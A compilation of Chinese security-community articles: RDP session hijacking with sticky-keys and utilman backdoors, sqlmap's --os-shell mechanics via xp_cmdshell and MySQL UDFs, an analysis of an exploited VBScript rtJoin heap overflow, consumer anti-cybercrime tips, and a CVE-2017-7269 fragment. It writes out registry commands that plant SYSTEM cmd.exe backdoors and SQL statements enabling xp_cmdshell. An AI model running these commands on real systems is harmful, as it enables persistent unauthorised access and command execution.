根据研究结果，200台被扫描的远程桌面服务器中，就有1台被攻击者使用这些方法成功植入后门。这意味着此时我们就可以使用会话劫持技术来继续渗透，甚至无需登录系统或者进行身份认证，这并不是一种好现象。在Shodan上搜索后，我们可以看到数百万开放RDP端口的服务器，并且随着云服务不断推广，现在这个数目也不断增长，与此同时问题也越来越严重。
### 方法一：粘滞键
这种方法非常简单，Windows提供了名为粘滞键（Sticky
Keys）的一种功能，该功能属于系统的辅助功能，没有登录时就可以使用（登录屏幕上可以使用该功能，适用于物理控制台或者远程桌面场景）。粘滞键会以SYSTEM权限运行。
如果我们将`Sethc.exe`（粘滞键程序）替换为`cmd.exe`，那么即使我们被锁在系统之外也能使用后门，这个后门具备SYSTEM访问权限，因此即便没有目标主机账户我们也可以为所欲为。我们可以将`sethc.exe`替换为`cmd.exe`（这种方法需要重启系统并且具备目标主机的物理访问权限），也可以使用如下命令设置注册表实现后门植入：
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /t REG_SZ /v Debugger /d “C:windowssystem32cmd.exe” /f
大功告成，现在目标主机已经被永久植入一个后门。攻击者只需要连接目标主机的远程桌面，然后在登录界面多次按下F5即可。
### 方法二：Utilman
这种方法与前一种方法一样，只不过这次我们替换的是`utilman.exe`。在登录界面我们可以按下Windows+U键，然后就能获得具备SYSTEM权限的`cmd.exe`。
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d “C:windowssystem32cmd.exe” /f
## 七、如何判断RDP服务器是否被植入后门
已经有人开发出一款工具：[sticky_keys_hunter](https://github.com/ztgrace/sticky_keys_hunter)，能百分百满足我们的需求，只需运行该工具，就能找到哪些服务器被植入了SYSTEM级别的后门。
根据在线扫描结果，我们发现已经有大量开放RDP端口的服务器被植入了后门。
## 八、Mimikatz模块
在Windows渗透方面，怎么能不提到[Mimikatz](https://github.com/gentilkiwi/mimikatz/releases)。其实Mimikatz有一个模块可以简单完成这个任务，具体操作如下：
## 九、缓解措施
从 **操作系统** 角度来看，我原以为Windows Server
2016不受这种攻击影响，然而进一步调查后，我发现事实并非如此。经过测试，这种方法适用于自Windows 2000以来的所有操作系统，包括Windows
10以及2016。
从 **组策略**
角度来看，强烈建议大家使用组策略来注销已断开的会话（只要用户断开后就应该立即这么做，至少间隔时间不要太久）。通常这种方法在IT环境中并不常用，但现在我们的确面临这类风险，并且只需要一条内置命令，实际环境就会受到影响。我自己也会注销掉空闲的用户会话。
还有， **不要将RDS/RDP接口暴露在互联网中**
，如果你已经这么做，那么强烈建议你采用多因素认证机制。多因素认证搭建起来并不复杂，我们可以使用诸如Microsoft RD Gateway或者Azure
Multi-Factor Authentication
Server之类的解决方案来完成这个任务。如果你将RDP接口直接暴露在互联网中，当某人成功创建了系统上的本地用户、或者域用户的凭据猜测/复用起来非常容易，那么事情会变得非常糟糕。曾经有医院或者其他组织因为RDS服务器缺陷而被勒索攻击，这并不是危言耸听。
## 十、如何监控
事实上想监控会话劫持攻击并非易事，虽然Windows日志中有个事件可以记录下会话连接动作（Microsoft-Windows-TerminalServices-LocalSessionManager/Operational），然而普通用户的连接行为跟攻击者使用`tscon.exe`的攻击行为很难区分开来。我遍历了所有的事件日志，并没有找到与攻击有关的信息。这个问题非常严重，希望微软能尽快添加某种事件日志来解决这个难题。
我给出的建议是，用户应该使用事件日志以及类似Microsoft OMS、Windows Event
Forwarding（Windows事件转发）或者Splunk之类的工具来对其他相关行为进行告警，我们要寻找的是滥用SYSTEM权限的那些攻击行为。
比如，我们应该重点关注并记录异常的服务创建行为、异常的计划任务创建行为。此外，我们也应该查找与Mimikatz相关的一些攻击活动。
## 十一、问答时间
Q：这种技术并不新颖也不属于漏洞。
A：Java applets以及宏也不是新技术。不管黑猫白猫，能抓老鼠就是好猫。这种技术可以隐藏在雷达之下，那么我们何乐而不为呢？
Q：如果我们具备SYSTEM权限，就已经控制了目标环境，何必多此一举呢？
A：非常正确。但是你能输入一条命令就解锁某个用户的桌面吗，即使他们一周以前已经离开去度假但并没有注销会话？掌握这种方法后，现在我们就可以做到这一点。 | 社区文章 |
## 前言
当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。
在mysql、PostgreSQL，sqlmap上传一个二进制库，包含用户自定义的函数，sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。
在Microsoft SQL Server，sqlmap将会使用xp_cmdshell存储过程，如果被禁（在Microsoft SQL Server
2005及以上版本默认禁制），sqlmap会重新启用它，如果不存在，会自动创建
接下来我会通过注入、SQLSERVER数据库、Mysql数据库进行介绍os shell原理。
## 注入
必要条件：
* 拥有网站的写入权限
* Secure_file_priv参数为空或者为指定路径。
普通注入--os-shell主要是通过上传一个sqlmap的马，然后通过马来进行命令执行。
* * *
#### 测试环境:
操作系统： Microsoft Windows Server 2012 Standard
数据库：Mysql 5.1.60
脚本语言：PHP 5.4.45
Web容器：Apache 2.4.39
利用sqlmap进行注入检测。
然后执行`--os-shell`。
**这个时候sqlmap主要做了三件事情：**
1、进行目标的一个基础信息的探测。
2、上传shell到目标web网站上。
3、退出时删除shell。
* * *
wireshark捕获数据包，只查看http数据包。
**1、sqlmap上传一个上传功能的马。**
追踪http流可以看到内容被url编码了，解开后可以看到是通过into outfile进行文件的写入。
马的内容进行了16进制编码，解开后查看代码就可以发现是一个上传功能的马。
**2、通过上传的马进行shell的上传。**
追踪http流可以看到body为shell的内容。
**3、shell传参进行命令执行。**
**4、删除shell。**
执行命令删除shell。
* * *
## Database
数据库支持外连，通过Sqlmap执行`--os-shell`获取shell。
### Sqlserver
必要条件：
* 数据库支持外连
* 数据库权限为SA权限
Sqlserver --os-shell主要是利用`xp_cmdshell`扩展进行命令执行。
* * *
#### 测试环境:
操作系统：Microsoft Windows Server 2016 Datacenter
数据库：Microsoft SQL Server 2008
利用Sqlmap进行数据库连接。
sqlmap -d "mssql://uset:password@ip:port/dbname"
sqlmap默认不自带`pymssql`，需要手动下载。
执行命令`python -m pip install pymssql`下载，然后连接成功。
执行`--os-shell`。
**这个时候sqlmap主要做了三件事情：**
1、识别当前数据库类型，然后打印出来。
2、检测是否为数据库dba，也就是查看是否为sa权限。
3、检测是否开启了xp_cmdshell，如果没有开启sqlmap就会尝试开启。
这个地方Sqlmap未能成功开启xp_cmdshell。
执行`--sql-shell`手动开启。
手动开启语句：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
在执行`RECONFIGURE;`时sqlmap报语法错误。
写一个python脚本调用下载的pymssql模块进行排错。
可以执行`select @@version;`命令
执行`RECONFIGURE;`命令的时候的报错和sqlshell执行时的报错一样。
由于sqlmap调用的是pymssql模块进行数据库的链接，所以这个地方要开启xp_cmshell，就必须利用其他工具进行开启。利用navicat进行数据库连接。
然后执行命令开启xp_cmdshell。
开启后，可以在navicat里面执行命令，或者sqlmap使用`--os-shell`进行命令执行。
若从一开始就使用navicat或其他工具进行数据库链接的话，就需要手动查看是否为dba，是否开启了`xp_cmdshell`扩展进程。
select IS_SRVROLEMEMBER('sysadmin')
查看是否为SA
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
查看是否存在`xp_cmdshell`扩展进程，显示1为存在。
查询完毕后，和上面的操作依葫芦画瓢就行了。
* * *
wireshark捕获数据包，追踪TCP流。
我将代码复制到文本中，替换掉`.`。
sqlmap会在执行我们输入的命令之前执行`ping -n 10 127.0.0.1`和`echo
1`,也就是①②，③开始就是我们输入的命令，这里命令都被进行16进制编码了。
### Mysql
* 数据库支持外连
* Secure_file_priv参数为空或者为指定路径。
* 对mysql目录存在写入权限。
* 针对版本大于5.1,需要存在/lib/plugin目录。
Mysql --os-shell主要利用的原理是通过udf执行命令，在[Mysql
Udf提权](https://cooltige.github.io/2020/06/02/Mysql-Udf%E6%8F%90%E6%9D%83/)这一篇文章中我讲得比较详细了，可以去看看。
* * *
#### 测试环境:
操作系统：Microsoft Windows Server 2012 Standard
数据库：Mysql 5.1.60
利用Sqlmap进行数据库连接。
安装`pymysql`后再次进行连接，连接后会显示数据库大概的版本。
执行`sqlmap -d --os-shell`。
**这个时候sqlmap主要做了五件事情：**
1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测`sys_exec`和`sys_eval`2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的`sys_exec`和`sys_eval`2个函数。
* * *
wireshark捕获数据包，追踪TCP流。
这里我就直接贴@xz[老锥](https://xz.aliyun.com/u/5054)的图，他分析的很详细。
## 写在最后
* 本文若有差错,请务必斧正 | 社区文章 |
**作者：360 Core Security
博客：[http://blogs.360.cn/post/VBScript_vul_CH.html?from=timeline&isappinstalled=0](http://blogs.360.cn/post/VBScript_vul_CH.html?from=timeline&isappinstalled=0)**
### 前言
近日，360核心安全事业部高级威胁应对团队又发现若干vbscript漏洞的在野利用。其中包括CVE-2016-0189、CVE-2018-8373和另一个此前不为人所知的漏洞(我们暂未确定它的cve编号)。这三个漏洞，加上我们在今年4月发现的CVE-2018-8174，一共是4个vbscript在野利用。经过分析，我们发现这4个文件的混淆和利用手法都高度一致，我们怀疑背后有一个写手(或团队)，一直在开发vbscript的0day利用并用于攻击。
如下为我们抓到的4个漏洞的在野利用：
### 被遗漏的0day？
由于其他三个漏洞都已出现过分析文章，本文我们将重点分析未被公开过的第四个vbscript 0day。
该漏洞利用一直隐藏得非常隐蔽，我们发现该漏洞在2017年3月更新中被修复，微软修复时没有提到该漏洞被利用，我们推测这个漏洞可能是微软并未发现利用而修复。可以定位到的最后一个可以触发该漏洞的版本是
vbscript.dll 5.8.9600.18538，在vbscript.dll 5.8.9600.18616
中，该漏洞被修复。有意思的是，我们发现相关利用的出现时间早于2017年3月，这也意味着该漏洞在当时是一个0day。遗憾的是，我们并未找到其他厂商对该漏洞的分析文章。
下面我们将和大家分享该漏洞的成因和利用方式。
### 漏洞分析
#### 概述
这个漏洞位于vbscript!rtJoin函数。当执行vbscript的join语句时，VbsJoin函数会调用rtJoin，rtJoin首先遍历传入的数组中的每个元素，并计算拼接后的字符串总长度(包括拼接字符，默认为unicode空格0x0020)。然后调用SysAllocStringLen分配相应的空间，用于保存拼接后的字符串。
实际分配的空间大小 = (要分配的字节数 + 0x15) & 0xfffffff0
(参见oleaut32!SysAllocStringLen及oleaut32!CbSysStringSize的实现)
字符串起始地址前4字节为字符串的字节长度(参见BSTR结构)。上述整个过程的伪代码如下所示：
相应的栈回溯如下：
随后解析流程会逐个拷贝字符串到新分配的空间，这个过程中会使用保存在栈上的字符串地址获取每个字符串的长度，以作为memcpy的size参数。当数组元素里面有类对象时，会触发类对象的Default
Property
Get回调获取默认属性，在回调中可以对数组中的其他成员进行操作，例如更改字符串大小。只要精确控制更改前后的字符串大小，通过(下图中第一个)memcpy拷贝的数据大小就有可能超出前面由SysAllocStringLen分配的空间，从而导致堆溢出。上述整个过程的伪代码如下所示：
PoC 我们构造了一个该漏洞的poc，供研究人员分析使用：
#### 代码分析
##### 内存布局
原利用代码首先进行内存布局(prepare)，然后第一次利用漏洞(exp_1)，覆盖一个BSTR对象的长度域，得到一个超长BSTR对象，并借助该BSTR去获取一块之前准备好的内存地址；成功后，再次利用漏洞(exp_2)去覆盖一个伪造的字符串的对象类型为数组(200c)，从而得到一个数据起始地址为0，元素大小为1，元素个数为0x7fffffff的超长一维数组。
随后借助第一次获得的内存地址和第二次获得的超长数组实现任意地址读取，后续的利用方式和之前被披露的细节基本一致。
prepare上半部分代码如下图所示。
在这部分代码中，str_h的字符串长度为0x4fec字节，SysAllocStringLen实际分配的空间为0x5000字节((0x4fec+0x15) &
0xfffffff0 =
0x5000)，str_o的字符串长度为0x4ff6字节，SysAllocStringLen实际分配的空间为0x5000字节((0x4ff6+0x15) &
0xfffffff0 = 0x5000)。array_a和array_b是2个数组，每个数组的实际数据区域占的空间为0xa00*0x10 =
0xa000字节(每个元素为一个VAR结构体)。
需要注意的是，0x4fec2 + 0x18 + 0x22 = 0x9ff4，(0x9ff4+0x15) & 0xfffffff0 = 0xa000,
这些值在下文会提到。
prepare下半部分如下图所示。
str_left_0大小为0x4ffa字节(get_left_str_a_by_size会将传入的参数减6字节)，SysAllocStringLen分配的空间为0x5000字节((0x4ffa
+ 0x15) & 0xfffffff0 = 0x5000)；
str_left_1大小为0x9ffa字节，SysAllocStringLen分配的空间为0xa000字节((0x9ffa + 0x15) &
0xfffffff0 = 0x5000)。
随后将array2数组的每一个元素都赋值为str_left_1(实际内存大小为0xa000)，将array3数组的每一个元素都赋值为实际内存大小为0xa000的array_b(见上文)。
到这里内存布局便完成了，之后只要先将array2(在exp_1中操作)或array3(在exp_2中操作)的部分元素进行释放，就会有大量0xa000的内存空洞，此时立即申请0xa000字节大小就有可能对释放的内存进行重用。
只要保证rtJoin函数中的SysAllocStringLen申请的大小为0xa000字节，结合上述漏洞就可实现对array2某个str_left_1对象或array3数组中某个array_b对象的数据覆盖，这些会在后面详细描述。
##### 改写BSTR长度
在exp_1中，第一次触发漏洞，改写一个BSTR对象的长度为0xfffffffe。
首先给array_c第1个和第2个元素赋值为str_h(字符串长度为0x4fec字节，实际占用的空间为0x5000字节，见上文)，给第3个元素赋值为class_a的对象，而class_a的Default
Property Get会返回一个长度为0x18字节的长度(0x1a-0x6+0x4 =
0x18),这样array的三个元素加上分隔字符拼接后占用的长度为0x9ff4(0x4fec+0x4fec+0x18+0x2+0x2 = 0x9ff4)
在触发漏洞前先调用make_hole_of_array2前释放array2中的一半元素，以生成足够的大小为0xa000的内存空洞。
make_hole_of_array2调用前后后对应的内存布局如下，可以发现array2中一半字符串内存均被释放，对于下标在0x00-0x7F区间内的元素，偶数部分被释放；对于下标在0x80-0xFF区间的元素，奇数部分被释放：
随后在rtJoin中的SysAllocStringLen会申请分配一个总长度为0xa000字节的BSTR((0x9ff4 + 0x15) &
0xfffffff0 = 0xa000)。由于windows的堆分配算法，该内存会从上图右边的空闲堆块中重用一个。
在class的Default Property
Get中，先释放array_c的第1、2个元素(设为Nothing)，并立即将它们赋值为str_o(字符串长度为0x4ff6字节，实际占用的空间为0x5000字节)。
这里需要注意两点:
1. 2次赋值为str_o的操作会重用刚释放的2个0x5000内存块(即原先两个str_h占据的内存)。
2. 重用后，相同地址处的字符串长度和内容发生了变化(一开始是str_h，长度为0x4fec字节，现在是str_o，长度为0x4ff6)，所以在rtJoin中进行memcpy前重新获取的字符串长度分别为0x4ff6，0x4ff6，0x18，再加上2次分隔字符的大小0x4，memcpy总共复制的数据长度为0xa008，相比0x9ff4字节多出了0x14字节，多出的字节中的最后4字节则会覆盖array2中相邻str_left_1对象的长度域，在利用代码中，攻击者将原str_left_1的长度覆写为了0xfffffffe。
错位过程如下图所示：
随后，借助超长字符串获取前面准备的字符串地址，用于后续使用。
下图为在prepare中准备的字符串：
##### 构造超长数组
在exp_2中，第二次触发漏洞，将fake_array对应字符串的类型改为0x200c，方法同覆盖字符串长度一致，此处不再重复描述。
fake_array是个字符串，它实际为一份伪造的tagSAFEARRAY结构。
以下为寻找类型混淆后的超长数组，用于后面使用：
##### 任意地址读
随后样本借助前面获得的字符串地址和超长数组封装了一组任意地址读取的功能函数，供后面使用。
##### 构造辅助函数
具备了任意地址读取能力后，利用封装了若干辅助函数：
随后通过以下方式泄露CScriptEntryPoint对象的虚表地址
随后借助封装好的辅助函数获取vbscript.dll基地址，再通过遍历vbscript.dll导入表获取msvcrt.dll基地址,
msvcrt.dll又引入了kernelbase.dll、ntdll.dll，最后获取了NtContinue、VirtualProtect等函数地址，整个过程如下：
##### 执行shellcode
原利用代码在windows 7和windows 8环境中，执行shellcode的方式与之前CVE-2018-8174相同。在windows
8.1和windows 10环境中所用的方式与低版本系统中略有不同。
#### 动态调试
##### 内存布局
prepare函数中内存布局完成后array2、array3和array_c的pvData分别如下所示。
##### 内存重用
首先是Public Default Property Get回调中str_o字符串对str_h字符串内存的重用。重用后整体内存大小不变，字符串长度发生变化。
然后是SysAllocStringLen申请0xa000大小内存时对array2中某个被释放的0xa000字符串的重用。从下图中可以看到，第一次触发漏洞前重用的内存是刚被释放的array2(0x81)。随后array2(0x82)对应字符串的长度将被覆写。
##### 改写BSTR长度
在exp_1中第一次触发漏洞，改写某个str_left_1字符串的长度域。
##### 构造超长数组
在exp_2中再次进行内存重用，此时的SysAllocStringLen申请的0xa000内存重用的是array3(0x81)刚释放的内存(释放方式与array2相同)，随后array3(0x82)相关内存的首部将被改写。
第二次触发漏洞，将精心准备的fake_array字符串的type由0008改写为200c，从而得到一个超长一维数组。
##### 执行shellcode
在windows 7和windows 8下的shellcode执行细节可参考我们之前写的CVE-2018-8174分析文章。 在window
8.1和windows 10环境中，样本用了一些其他技巧来Bypass CFG(在我们的测试中，该方式可以在早期版本的windows 8.1和windows
10中成功)。关于这部分的更多细节，我们会在后面的文章中进行披露。
### 补丁分析
以下是补丁前后Bindiff工具的比对结果。
可以看到，补丁文件中在拷贝每个数组元素到join_list之前，会先通过SysAllocString将字符串数据保存一份，这样即使在后面回调中更改了初始的字符串长度，在执行memcpy进行内存拷贝时也会使用SysAllocString函数拷贝的那份数据，从而使SysAllocStringLen申请的内存大小和memcpy拷贝的数据大小相同，从而修复了漏洞。
### 与APT-C-06的关联分析
我们对四个vbscript漏洞的shellcode进行了关联分析，我们发现cve-2016-0189、本次漏洞和cve-2018-8174所用的shellcode除配置的CC外基本一致，cve-2018-8373的shellcode略有不同，但也非常相似。我们推测本次漏洞也是APT-C-06(又名Darkhotel)武器库中的一个。
### 福利
读者有没有发现rtJoin函数中还存在一处整数溢出点，如下：
我们查找了vbscript里面join系列函数相关的整数溢出漏洞，发现有一个漏洞是CVE-2017-11869，我们对该漏洞修复前后的vbscript.dll做了一次补丁比对，并且发现了一些有意思的修改点，如下：
有兴趣的读者可以深入研究一下CVE-2017-11869。
### 结论
本文我们分享了本年度发现的第三个vbscript的漏洞细节，其利用手法和之前几个同样精彩。我们相信vbscript里面还有其他类似问题，同时推测相关开发团伙手上还有其他类似的漏洞利用，请广大用户提高警惕。
### 参考链接
<http://blogs.360.cn/post/cve-2018-8174.html>
<https://www.zerodayinitiative.com/advisories/ZDI-17-916/>
* * * | 社区文章 |
# 【安全科普】面对日益嚣张的网络犯罪，用户如何自保？
|
##### 译文声明
本文是翻译文章，文章来源：malwarebytes.com
原文地址：<https://blog.malwarebytes.com/101/2017/11/mind-these-digital-crimes-arm-yourself-against-them/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**网络犯罪趋势**
不知道您注意到没有，今年各大新闻头条是不是都被含有“网络”的各种字眼所淹没了呢？
网络犯罪。网络攻击。网络安全。网络战。[网络](https://www.theatlantic.com/technology/archive/2016/09/trumps-incoherent-ideas-about-the-cyber/501839/)。（好吧，说得更精确些那是去年。）
说实在的，当初我们还觉得“网络（cyber）”这个词似乎有点古雅，有点怀旧的感觉，但是随着这么多闹心的事情都与它牵扯到一起，这种感觉早就烟消云散了。
事实上，网络犯罪总体来说在过去几年里一直在稳步上升，而且没有一位专家预测这种情况在不久的将来能够得到遏制。这种情况是非常令人担忧的，但并不完全出乎意料：随着新技术日益普及，一方面会有越来越多的人[在线上网](http://www.internetworldstats.com/stats.htm)，另一方面，也意味着越来越多的人将面临潜在的威胁。
那么，难道这一切都是不可避免的？事实并非如此。面对如此糟糕的安全环境，最重要的是立即学会保护自己免受网络犯罪的侵扰。这意味着必须采取相应的安全措施，以防止或减轻特定的威胁，改变各种危险的习惯，并坦诚地与朋友、家人和同伴讨论安全相关问题。
下面，我们按照各种网络犯罪的危害程度的顺序，对其进行详细介绍，并给出相应的防御措施。
**
**
**Card Skimming**
这是一种电子欺诈行为，犯罪分子使用一种称为skimmer的设备窃取用户的银行卡信息。skimmer通常安装在可以刷卡或吞入自己的信用卡或借记卡的设备上，例如自动取款机，POS设备和加油加汽设备。KrebsOnSecurity的Brian
Krebs通过一系列引人入胜、令人大开眼界的博客文章为人们详细展示了card
skimming的方方面面，我们建议您通读这个[文章](https://krebsonsecurity.com/all-about-skimmers/)系列。
如何自我保护：主要有两条经验法则：
经常检查。 KrebsOnSecurity已经提供了如何识别改造过的设备的方法，以便用户可以防止自己的银行卡被“撇油”。
Krebs在一篇文章中写道：“如果你发现一些看起来不对劲的东西，例如ATM上的奇怪的突起或者颜色异常，那么就应该考虑使用另一台机器。另外，不要使用那些远离公共视线或光线不充足的地方的自动取款机。”
另一方面，设备越复杂，越难察觉篡改的迹象。加油站的情况也是如此，攻击者通常将他们的窃取装置放在泵的内部。当然，我们不主张消费者主动拆卸加油泵，检查是否动过手脚；然而，我们建议用户密切关注自己的银行对帐单中是否出现过意外的开销。
今年9月份，Google Play上推出了一款名为[Skimmer
Scanner](https://play.google.com/store/apps/details?id=skimmerscammer.skimmerscammer)的Android应用程序，可供免费下载和使用。这个应用程序用于检测气泵是否安装了通过蓝牙技术来窃取用户信息的skimmer。如果你有兴趣，可以阅读该应用程序的开发者撰写的一篇[技术文章](https://learn.sparkfun.com/tutorials/gas-pump-skimmers)。
永远不要让你的银行卡离开自己的视线。如果您在自己使用手持支付终端的餐厅或小商店内，请服务员或收银员在您面前刷卡。许多企业已经这样做了，但是如果遇到了尚未落实这种做法的商户，不妨督促它们一下。
确保及时更新每张卡的联系信息也很重要，这样在银行发现潜在的欺诈交易时能尽快跟您取得联系。
**Android**
自从手机[使用量](https://techcrunch.com/2016/11/01/mobile-internet-use-passes-desktop-for-the-first-time-study-finds/)超过个人电脑和笔记本电脑的[使用量](https://searchengineland.com/its-official-google-says-more-searches-now-on-mobile-than-on-desktop-220369)以来，我们就认为，这些罪犯很快就会开始瞄准移动市场。而且，由于Android是全球主流移动操作系统，所以它们自然成为移动设备最大的攻击目标。这就是一直以来的[趋势](https://press.malwarebytes.com/2017/08/24/malwarebytes-introduces-malwarebytes-android-featuring-proprietary-anti-ransomware-technology/)，并且将来也会如此。而且，一旦感染木马程序，可能会下载更多的移动恶意软件，以及潜在有害程序（PUP）。同时，移动勒索软件也正在快速增长。
如何保护自己：就像在台式机或笔记本电脑上一样，对于移动设备也应该培养良好的安全习惯。这包括更新常规固件和应用程序，备份电话数据，在不使用时锁定设备，设置远程擦除，安装为网络浏览提供安全保护的应用程序，同时使用公共Wi-Fi网络时也要倍加小心。
用户还必须定期审核移动设备上不再使用的应用程序（可以考虑卸载它们），以及那些出于某种原因开始做不应该做的事情的应用程序（这样的应用程序必须卸载）。
我们在Labs博客上推出了几篇关于移动安全的文章，读者不妨看一下。
**Keeping secure in an Android world
[[1](https://blog.malwarebytes.com/cybercrime/2013/05/keeping-secure-in-an-android-world/)]
[[2](https://blog.malwarebytes.com/cybercrime/2015/01/keeping-a-secure-mobile-device/)]**
[**Top 10 ways to secure your mobile
phone**](https://blog.malwarebytes.com/101/2016/09/top-10-ways-to-secure-your-mobile-phone/)
[**Securing your privacy on
Android**](https://blog.malwarebytes.com/cybercrime/2017/04/mobile-menace-monday-securing-your-privacy-on-android/)
[**Solution Corner: Malwarebytes for
Android**](https://blog.malwarebytes.com/malwarebytes-news/2017/08/solution-corner-malwarebytes-android/)
**
**
**Mac**
苹果已经开始成为攻击者眼中的香饽饽，但这并不是一朝一夕发生的。多年来，苹果的用户群一直都在稳步增长，这主要得益于以下几点。首先，与IBM和思科等其他科技巨头的合作关系显著扩大了苹果在企业界的影响力。不仅如此，人类的行为和逻辑也是其中的一个因素：iPhone和iPad用户在补充设备时，他们会首先考虑购买Mac而不是PC。
起初，[Mac恶意软件](https://blog.malwarebytes.com/101/2017/03/mac-security-facts-and-fallacies/)非常罕见，但是我们最近的观察数据显示，Mac恶意软件正随着广告软件和PUP一起成为一个显著的[安全问题](https://press.malwarebytes.com/2017/08/24/malwarebytes-introduces-malwarebytes-mac-protect-rising-levels-mac-malware/)。我们不得不承认，现在Mac
OS用户也可能会遭遇各种[恶意广告](https://blog.malwarebytes.com/threat-analysis/social-engineering-threat-analysis/2016/11/an-overview-of-malvertising-on-the-mac/)和[诈骗活动](https://blog.malwarebytes.com/threat-analysis/2013/10/tech-support-scams-coming-to-a-mac-near-you/)。
如何保护自己：我们对Mac用户的建议与我们给Windows用户的建议没有什么不同。重申一次，对于任何平台、操作系统或设备来说，安全的最佳实践都是养成安全的浏览习惯。同时，不要忘记备份文件，如果可能的话，尽量避免下载torrent文件，因为这些文件有时会捆绑恶意软件。
下面是一些推荐阅读的Mac安全方面的文章：
[**Is Mac malware on the
rise?**](https://blog.malwarebytes.com/cybercrime/2015/10/is-mac-malware-on-the-rise/)
[**FAQs about Mac adware**](https://blog.malwarebytes.com/101/2015/07/faqs-about-mac-adware/)
[**How to remove adware from
Macs**](https://blog.malwarebytes.com/101/2015/07/how-to-remove-adware-from-macs/)
[**New Mac Malware-as-a-Service
offerings**](https://blog.malwarebytes.com/malwarebytes-news/2017/06/new-mac-malware-as-a-service-offerings/)
[**How to tell if your Mac is
infected**](https://blog.malwarebytes.com/101/2017/09/how-to-tell-if-your-mac-is-infected/)
**Linux**
这是另一个最初被视为对网络犯罪具有“免疫”能力的操作系统，但现在之所以成为头条新闻，这要归功于使用基于Linux内核的软件的电子设备和设备（例如Android手机和平板电脑、路由器以及物联网（IoT））数量的急剧攀升。据WatchGuard发表的“互联网安全报告”Q1
[[PDF](https://media.scmagazine.com/documents/306/wg-threat-reportq1-2017_76417.pdf)]称，目前针对Linux的恶意软件类型主要有三种：exploit、下载器和flooder。
攻击者之所以盯上基于Linux的设备，有多种[原因](https://www.linux.com/news/2017/7/linux-malware-rise-look-recent-threats)。首先，供应商和开发者很少花费时间或精力为其产品打安全补丁。其次，大多数情况下，这些设备几乎没有提供任何安全保护措施，而[over-the-air（OTA）](https://en.wikipedia.org/wiki/Over-the-air_programming)更新更是无从谈起。最后，消费者基本上不使用密码——即使他们使用了密码，通常也是一些弱密码——来保护这些设备。
如何保护自己：
让我们从[密码](https://blog.malwarebytes.com/101/2015/01/the-password-and-you/)开始：现在就创建一个密码，或者让[密码管理器](https://blog.malwarebytes.com/101/2017/05/dont-need-27-different-passwords/)为您创建密码。确保物联网设备/其他设备上的软件和固件保持更新。对于使用Linux服务器的用户，请定期更新操作系统。实施用于阻止未经请求的入站流量和来自Internet和内部网络的SSH访问的防火墙规则。最后，考虑使用多种安全技术来保护设备，包括反垃圾邮件、URL过滤、反恶意软件和入侵防御等等。
**网络欺凌**
这是本文中唯一直接针对人类本身的一种网络犯罪。
多年来，我们一直在写关于网络欺凌的文章，我们知道这种行为不仅涉及到儿童和青少年，而且还包括成年人。网络欺凌事件现在比以往[任何时候](http://www.acas.org.uk/index.aspx?articleid=4023)都[更加普遍](https://allthemoms.com/2017/08/10/cyber-bullying-middle-high-school-increase/)。为什么？诚然，互联网让任何人都可以更容易地与世界另一端的人交谈，与此同时，一些负面的东西也随之泛滥，比如人们的糟糕选择、对匿名的误解和认为数字世界是法外之地的错误假设。
如何保护自己：预防总是胜于治疗，那么如何防止网络欺凌呢？ 考虑限制在线分享的内容，或者至少限制在线分享内容的受众。
您的社交媒体feed不必公开，特别是当您分享的东西是提供给亲密的家人和朋友的时候。说到分享，一定要避免向任何人发送私密或私人照片。
这不仅会导致欺凌，还会导致色情复仇。
我们在这里提供了更多的[预防措施](https://blog.malwarebytes.com/101/fyi/2017/06/tackling-the-myths-surrounding-cyberbullying/)，其中主要是揭露网络欺凌方面的谣言的内容。
下面是我们在反欺凌周发表的系列文章：
[**“Monkey see, monkey do”**](https://blog.malwarebytes.com/101/2016/11/anti-bullying-week-monkey-see-monkey-do/)
[**No sympathy for the
‘bully’?**](https://blog.malwarebytes.com/101/2016/11/anti-bullying-week-no-sympathy-for-the-bully/)
[**Of weasels, snakes, and queen
bees**](https://blog.malwarebytes.com/101/2016/11/anti-bullying-week-of-weasels-snakes-and-queen-bees/)
**非接触式银行卡**
众所周知，非接触式银行卡不需要输入PIN码，更不用插入PoS终端，使用的时候，只需要在非接触式读写器前晃一下或保持静止几秒钟就可以了。许多用户之所以选择使用非接触式银行卡，因为它们易于使用。事实上，凡事有利即有弊，非接触式银行卡不仅为用户提供了便利，同时也使得犯罪分子的欺诈行为更容易得手。
请注意，这种网络犯罪只在使用非接触式银行卡的地区比较流行，如英国和大多数欧洲国家。
如何保护自己：
刷卡时亲历其为，让别人代劳会增加被骗的风险。在使用银行卡的非接触式付款功能时，要注意支付数额，并索取收据，然后与您的银行对账单进行比对。定期检查账单中是否有异常的交易。如果银行卡丢失了，请立即向银行挂失。最后，可以考虑使用数字钱包作为非接触银行卡的替代品。
在这篇文章中，我们重点介绍了直接影响消费者的各种网络犯罪，在本系列的第二部分中，我们将探讨发生在企业幕后的各种犯罪。未完待续，敬请期待！ | 社区文章 |
`CVE-2017-7269` 漏洞引发溢出漏洞,但是由于原来IIS 6 启用栈保护的,不能直接对栈上的Ret Address 进行操作,漏洞PoC
上实现的ROP 很巧妙,通过内存复制溢出修改IEcb 对象,控制IEcb 对象的地址,在`ScStripAndCheckHttpProfix()`
里触发虚函数调用,调到rsaenh.dll 里,此时Payload 已经改写rsaenh.dll 的内容,最后通过ROP
链获取KiFastSystemcall 利用ShareUserData ,再返回到ShellCode .现在我们针对ShellCode 开发,让IIS 6
产生回显.
IIS 创建完成容器之后,把对象传递到CDAVExt::DwMain() ,CDAVExt::DwMain() 再去解析HTTP
头部,触发漏洞.我们在分析CDAVExt::DwMain() 函数,发现IEcb 对象可以操控IIS 容器进行请求响应.
